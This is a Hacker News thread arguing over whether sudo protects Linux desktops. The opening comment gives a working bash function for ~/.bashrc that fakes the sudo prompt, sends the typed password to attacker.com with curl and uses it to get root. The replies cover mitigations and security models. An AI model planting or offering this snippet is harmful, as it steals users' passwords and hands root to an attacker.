points by lrvick 12 hours ago

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Malware just need to put this in ~/.bashrc and wait:

function sudo () {

    realsudo=$(which sudo)

    read -r -s -p "[sudo] password for $USER: " password

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1


    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

    $realsudo "${@:1}"

}
0l 12 hours ago

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""

  • Arrowmaster 11 hours ago

    I don't think flatpak allows access to hidden files so even those with access $HOME cannot do this.

  • silver_sun 11 hours ago

    Flatpak uses Portals to let the user grant access to different files/directories, apparently they don't have access by default: https://docs.flatpak.org/en/latest/sandbox-permissions.html

    I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: https://flathub.org/en/apps/com.github.tchx84.Flatseal

    I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.

silver_sun 11 hours ago

But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.

  • inigyou 11 hours ago

    Same if an attacker can run arbitrary docker commands.

  • nickjj 7 hours ago

    Yep, but pretty much every single piece of software you've installed on your system can read and write files to your home directory in a silent way without root, and that's where your most important files are on a desktop machine (API tokens, secrets, client projects, etc.).

    I have my own opinionated Arch / niri set up and there's 1155 packages installed. That's 1155 opportunities for a package to be compromised. This is also why I try very hard to avoid the AUR and only use it as a last resort (I use 2 packages from it). It doesn't guarantee safety but the official Arch package repos do seem to have more checks and bounds vs the AUR.

    • lrvick 4 hours ago

      Arch at least mandates author signed packages which is unfortunately rare these days, but keys do not need to be on smartcards, and code review is not enforced. You compromise the right arch maintainer and you could do some real damage.

      Arch is second only to Guix in terms of supply chain security for desktop distributions, but both still have a threat model that cannot tolerate a single laptop compromise.

      Stay tuned for stagex for workstations. https://stagex.tools

mike_hearn 12 hours ago

Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.

  • lrvick 12 hours ago

    I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.

    • stickynotememo 6 hours ago

      How would you install packages (or update the kernel)?

      • lrvick 3 hours ago

        For root filesystems I am recently favoring EROFS which is read only, fast, and can run from ram.

        On workstations I install almost all software to ~/.local as the home partition is writable. I also put all my systemd user units there, so I can run any binaries I compile as a system service to survive reboots as I like all without root.

        The system root partition should contain a kernel, init system, and run any essential shared services unprivileged and fully/mostly stateless. Given that, I like to compile them all into a single UEFI uki image that contains efi shim, kernel, init all in a single binary that lives in the FAT32 UEFI partition.

        The only reason to touch it is when you need to update your init system or kernel, which were always going to require a reboot anyway unless you get really creative with kexec. In an ideal situation the uki bundle is so generic that it is built deterministically in multiple locations and signed with a secure boot key. Then you can just straight up allow users to write to the boot partition, knowing any unsigned image that is not newer than the current one will be detected and also not allow access to the encrypted disk. The permission for that one update path can and should be external, and the result of a deterministic build matching a known hash, so you can prove it is not compromised. This could of course be automated by a distro with a UEFI wrapper or coreboot so users with no desire to customize their kernels do not have to think about it.

        I am pursuing these ideas in stagex, first for secure enclaves and servers where we need it most, then for desktop. Until then Qubes is the least bad option.

        • simoncion 2 hours ago

          To summarize:

          stickynotememo: "How would you install packages (or update the kernel)?"

          You: «You'd use sudo or su (of course) but I'm going to distract you from that with an advertisement for the work I'm doing on my personal project!» [0]

          But, perhaps I misunderstood what you wrote. So... I'll ask stickynotememo's question in a different way:

            How would a user of your system update the Systemd collection of software to apply a critical security update?
          

          If the answer is something like "I'd rebuild the read-only root partition with the new code.", then I ask:

            1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer?
            
            2) How does one instruct the user's computer to use that newly-rebuilt root partition? How does one control access to the system that permits one to load a new root partition and/or change which root partition to use?
          
            3) How does a user recover when an update fails or is faulty in a way that your smoke tests didn't catch?
          

          Please keep your answers concise.

          [0] Personal projects are great, and I strongly encourage them. However, the way you've answered is what a greybeard would describe as "pulling a fast one". Pulling a fast one does not earn trust.

  • inigyou 11 hours ago

    But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software.

leothetechguy 12 hours ago

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

  • lrvick 12 hours ago

    There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

    • utopiah 10 hours ago

      Just don't be in the sudo group.

      • declan_roberts 7 hours ago

        So the solution is to make your computer basically unusable. I guess that's one way to secure things.

        • lrvick 3 hours ago

          On a modern Linux system you do not need sudo to compile software, install it, or even run it as an unprivileged system service in a User Namespace bound to port 22 (if you give your user the correct Linux Capabilities).

          The only thing you cannot do as an unprivileged user is update kernels, but that requires a reboot anyway and the risk of letting an unprivileged user do that is mitigated with hardware enforced secure boot.

          Most distros are holding onto 90s designs that are very hard to change once established.

    • dist-epoch 8 hours ago

      But what exactly are you protecting then?

      Linux root/regular-user model comes from an ancient time with multi-user architecture where you defended against one user taking over a big machine they didn't own.

      But today on personal computers all the good stuff is inside regular users accounts, and there is nothing valuable to be gained by becoming root.

      So the whole security model is broken, it protects the OS system files that nobody cares about, while allowing any piece of software complete access to valuable user files.

      • lrvick 3 hours ago

        Well you of course want to sub-divide every application in user space either with gvisor or a hypervisor, like QubesOS.

        If someone pwns your personal browser they should pop out into an environment where nothing exists but that browser, with no idea the work browser is in a sibling vm.

  • dist-epoch 8 hours ago

    on Windows the UAC (GUI sudo equivalent) requires actual user input (keyboard, mouse) on a dialog presented in a secure way (can't be faked by malware)

    • declan_roberts 7 hours ago

      Windows and Mac each have well thought through and secure solutions to these problems. It just doesn't exist on Linux without serious sacrifice of UX.

    • jasomill 4 hours ago

      UAC is only a sudo equivalent when running under a non-admin user account, at which point it's nearly as convenient to simply run admin commands from a command prompt running as a separate user, or a separate desktop session entirely.

utopiah 10 hours ago

Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯

  • lrvick 3 hours ago

    Of course this style of attack would work on you. Attacker has the sudo wrapper that hooks your next yubikey tap to running any payload they want as root.

    Your solution helps mitigate hardware keyloggers, which is great, but for malware in your home directory, it offers no advantages.

ahelwer 12 hours ago

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

  • ffsm8 12 hours ago

    Look at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo.

    It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar

  • porridgeraisin 12 hours ago

    No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.

  • lrvick 12 hours ago

    > You need root in order to overwrite sudo in the first place I think

    You just need write access to .bashrc or similar.

    > This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.

    Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.

  • Brian_K_White 12 hours ago

    You do not need root to run that shell function, nor to get it loaded into a shell's environment.

    They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.

tomrod 12 hours ago

What? Why is sudo security theater?

  • lrvick 12 hours ago

    Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.

    • jorvi 12 hours ago

      You do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas.

      No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.

      • lrvick 12 hours ago

        No popular Linux desktop, I would grant you. I use QubesOS and my own distro, stagex.

        • tomrod 5 hours ago

          TIL. Thanks for your input into how sudo might not be super secure on systems already dribbling with malware.

      • rick_dalton 8 hours ago

        You basically don’t use sudo on macOS though. Maybe once in a blue moon

        • jasomill 4 hours ago

          You're making a big assumption about how other people use their computers. If you're running mostly desktop applications on Linux, you wouldn't use sudo much either. And if anything, I use sudoish-to-actual-rootlike on Windows more than on Linux, because more things are gated behind elevated privileges (some papered over by default UAC settings, but only when manipulated through built-in GUI tools) and there's nothing as simple as Distrobox and rootless Podman to set up isolated non-root environments.

  • novafunc 12 hours ago

    Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.

    • silver_sun 11 hours ago

      If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.

      • LinXitoW 11 hours ago

        The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand.

        • silver_sun 11 hours ago

          I think that depends on your point of view. I wouldn't run a program on my computer unless I were sure that it's not malicious. And if you mean that some program I already trust could be exploited, that's true even for the Linux kernel or any sandbox / security solution you would come up with. I'm not denying that there's always a risk, but there's nothing good in running arbitrary code that you can't trust.

      • inigyou 11 hours ago

        Exactly the point. You are already fully compromised, sudo adds no security.

  • charrondev 12 hours ago

    It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.